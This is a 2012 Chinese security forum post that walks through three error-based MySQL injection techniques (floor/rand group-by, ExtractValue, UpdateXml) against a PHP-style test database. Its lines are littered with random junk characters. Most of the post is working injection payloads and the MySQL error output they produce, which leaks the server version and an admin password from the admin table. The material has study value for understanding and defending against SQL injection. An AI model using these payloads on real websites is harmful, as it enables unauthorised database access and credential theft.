找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2230|回复: 0
打印 上一主题 下一主题

关于Mysql注入过程中的三种报错方式

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-10 10:28:51 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
放点原来的笔记,Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这样可以通过构造如下三种方法获取特定数据。  J- }; F+ i8 n% ~
实际测试环境:
  F! H9 {8 n2 c' V$ {
# i9 r$ Z% y, N% b) S% O $ i+ r) O  B" S5 V: U
mysql> show tables;
3 H' c& X0 S5 g+----------------+0 {$ R) N0 j9 g. j: ?3 E/ Z0 G
| Tables_in_test |
! Y. X+ s* G' O; h( L+----------------+
- o( s1 z9 d( c* b& ]| admin          |4 V. x. [3 [' y. H
| article        |, ]) ~% W' H4 W# ^* d) v: J+ m
+----------------+1 {4 L4 N- Z/ z! e$ i& p( E

  J# J9 l4 h9 d8 Q2 P$ B( J- V9 P " R2 u. N4 k9 h6 h

0 N8 e  I0 R/ B2 O4 Y; A' gmysql> describe admin;
4 \  T5 U) b& D+-------+------------------+------+-----+---------+----------------+
. \. J2 V- t# I| Field | Type             | Null | Key | Default | Extra          |
+ ?( \! A1 }  C$ x0 Y  p! d- d+-------+------------------+------+-----+---------+----------------+; b* n2 D* p8 }  N( \
| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |0 x# g0 I" W6 l; u' g4 @1 P
| user  | varchar(50)      | NO   |     | NULL    |                |
1 C/ B0 N9 z8 ~# y( F+ j5 ]| pass  | varchar(50)      | NO   |     | NULL    |                |1 R: }" `5 q- P' G- I, h, x
+-------+------------------+------+-----+---------+----------------+
* ]/ N/ a% G- c  L) R. g
- G( I0 ?' [* w& t7 ?; Q
% L9 j- ?* I% ]
6 q! p) W) r! L  Gmysql> describe article;
" x9 i9 \1 d( \) O$ m+ t+---------+------------------+------+-----+---------+----------------+
/ K0 R& f2 a' B& e| Field   | Type             | Null | Key | Default | Extra          |
6 E8 s! K( h7 \+---------+------------------+------+-----+---------+----------------+
" t( T& E7 A! m1 ~% s| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |/ a3 ]  U. }6 I
| title   | varchar(50)      | NO   |     | NULL    |                |) v& w1 w( Y' ~3 u
| content | varchar(50)      | NO   |     | NULL    |                |
1 u6 _9 e) d4 S) A+---------+------------------+------+-----+---------+----------------+5 M, ~- |5 s4 [
1、通过floor报错( @* _- I8 F+ x/ h( E9 u. g
可以通过如下一些利用代码
/ Z2 n6 e  U" e  i; E* A & S5 w) _; s7 w% G

% J! ]9 P& g( q! [; \8 e% Zand select 1 from (select count(*),concat(version(),floor(rand(0)*2))x3 q$ O# \) j" c$ M& a0 j2 T9 J. {
from information_schema.tables group by x)a);
5 x- t/ x; B0 H
+ p  `( b. l8 ~* a/ _
* C$ v* y. ~5 K/ b' z, Cand (select count(*) from (select 1 union select null union select !1)x
% O# o' |* y) e+ igroup by concat((select table_name from information_schema.tables limit 1),
' N3 k, P0 u2 A" }7 ufloor(rand(0)*2)));
3 Q& _5 J$ E4 g2 s" n举例如下:
5 P$ z* n3 M( [: @. v0 \- H1 S1 s首先进行正常查询:
1 _3 `& N4 A) q. N' |* F, U2 A
7 A. I3 [& f3 |1 E+ K& n+ Smysql> select * from article where id = 1;
+ ~$ p+ _! x: j3 Z; f+----+-------+---------+' l4 s0 q3 N0 ?7 j# @3 Q) S& x2 q
| id | title | content |
7 X( z" c; h) V7 G% S# D8 Y9 W& R5 y+----+-------+---------+
7 G& m( H/ n! p4 M& ]' {|  1 | test  | do it   |
- @5 z  Y, H# X0 v( V, n) K+ T" P+----+-------+---------+
( `1 X8 N. e' k2 F6 Q假如id输入存在注入的话,可以通过如下语句进行报错。7 M0 g0 H4 J7 k
/ T# M3 l& ]# t' N

$ j! o' {/ v( ~! q/ ~3 Lmysql> select * from article where id = 1 and (select 1 from8 c0 d+ h" k* m* g' `  g3 y3 C1 B6 G
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
/ i% Q% U% D3 e7 IERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
; P; }, _3 s; D5 Y( c: g) r0 R可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。. J3 |4 d) n* M/ T
例如我们需要查询管理员用户名和密码:8 ]) W3 ~$ L2 L% G2 f. x6 w
Method1:
( f% a9 F& E. F/ M% V
6 H3 J- i  h6 H, S7 M) F$ y ; P$ `" N9 Q$ ]3 F* y# s
mysql> select * from article where id = 1 and (select 1 from( @% y6 V6 s- T5 c; E
(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x0 M; \. d0 y8 \) Q8 A
from information_schema.tables group by x)a);
, X# b: H/ f5 ~- ]ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
7 T  b) T  b4 K3 H  J5 z  QMethod2:
( y2 |2 A' c% {( o% P' F% Q! R 8 T  E4 f' r' E& ?2 P: f( k7 f
" \2 H) a0 T2 J' L0 Z) a' y
mysql> select * from article where id = 1 and (select count(*)
7 {% e8 T$ E' [) xfrom (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),- F0 P' `' w# v6 m
floor(rand(0)*2)));# C2 b! ^, J1 `! ^; N7 G" @* ~
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
$ ^  F' F5 O+ t. ?# i0 m2、ExtractValue
' u) v# h; N) e( s测试语句如下* O$ M9 _' l+ D2 _+ X& o9 e; e- f; P
% T8 \1 [! j' Z, B. |

% [8 \7 J- \- _2 [# h) Mand extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
; X" ]- S8 ]8 m实际测试过程" K  j" t1 w2 n# m! S$ p4 m

5 X4 D' U8 }2 t* R& l6 X1 m! D7 U
3 J$ Y+ _0 A# I* w: o) F7 U% U" Gmysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,; V* N' H8 o2 l4 m6 A% Y! N8 k3 L
(select pass from admin limit 1)));--/ e3 t) T" N2 _9 d# N
ERROR 1105 (HY000): XPATH syntax error: '\admin888') y. q' C( Z5 T- k) M
3、UpdateXml0 Y% |8 ~) M' b( h/ e. N. ^
测试语句
+ `! K3 f4 h5 ?% Q+ q/ \% ^$ i
+ f5 Q% ?- c) p) E: {3 K) P
0 b2 k- a/ b; f' l( W/ Jand 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))) x- x% z9 E' C/ H1 f4 l
实际测试过程  M8 Y/ g: `6 G
& o4 J5 J( @  R) V+ Y  C
6 z. p3 L5 d0 J7 x3 W- F. [
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,5 L2 d7 G3 G5 Z/ L( d
(select pass from admin limit 1),0x5e24),1));
. l; s) W8 O( t% n& }ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'- B  i: Q1 O: ^
All, thanks foreign guys.3 g/ M" r# C9 U7 S3 z

/ Q3 ^: k; C. [# m: ^$ J7 |5 J6 M0 M
  x3 O5 A6 g9 L8 C5 g
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表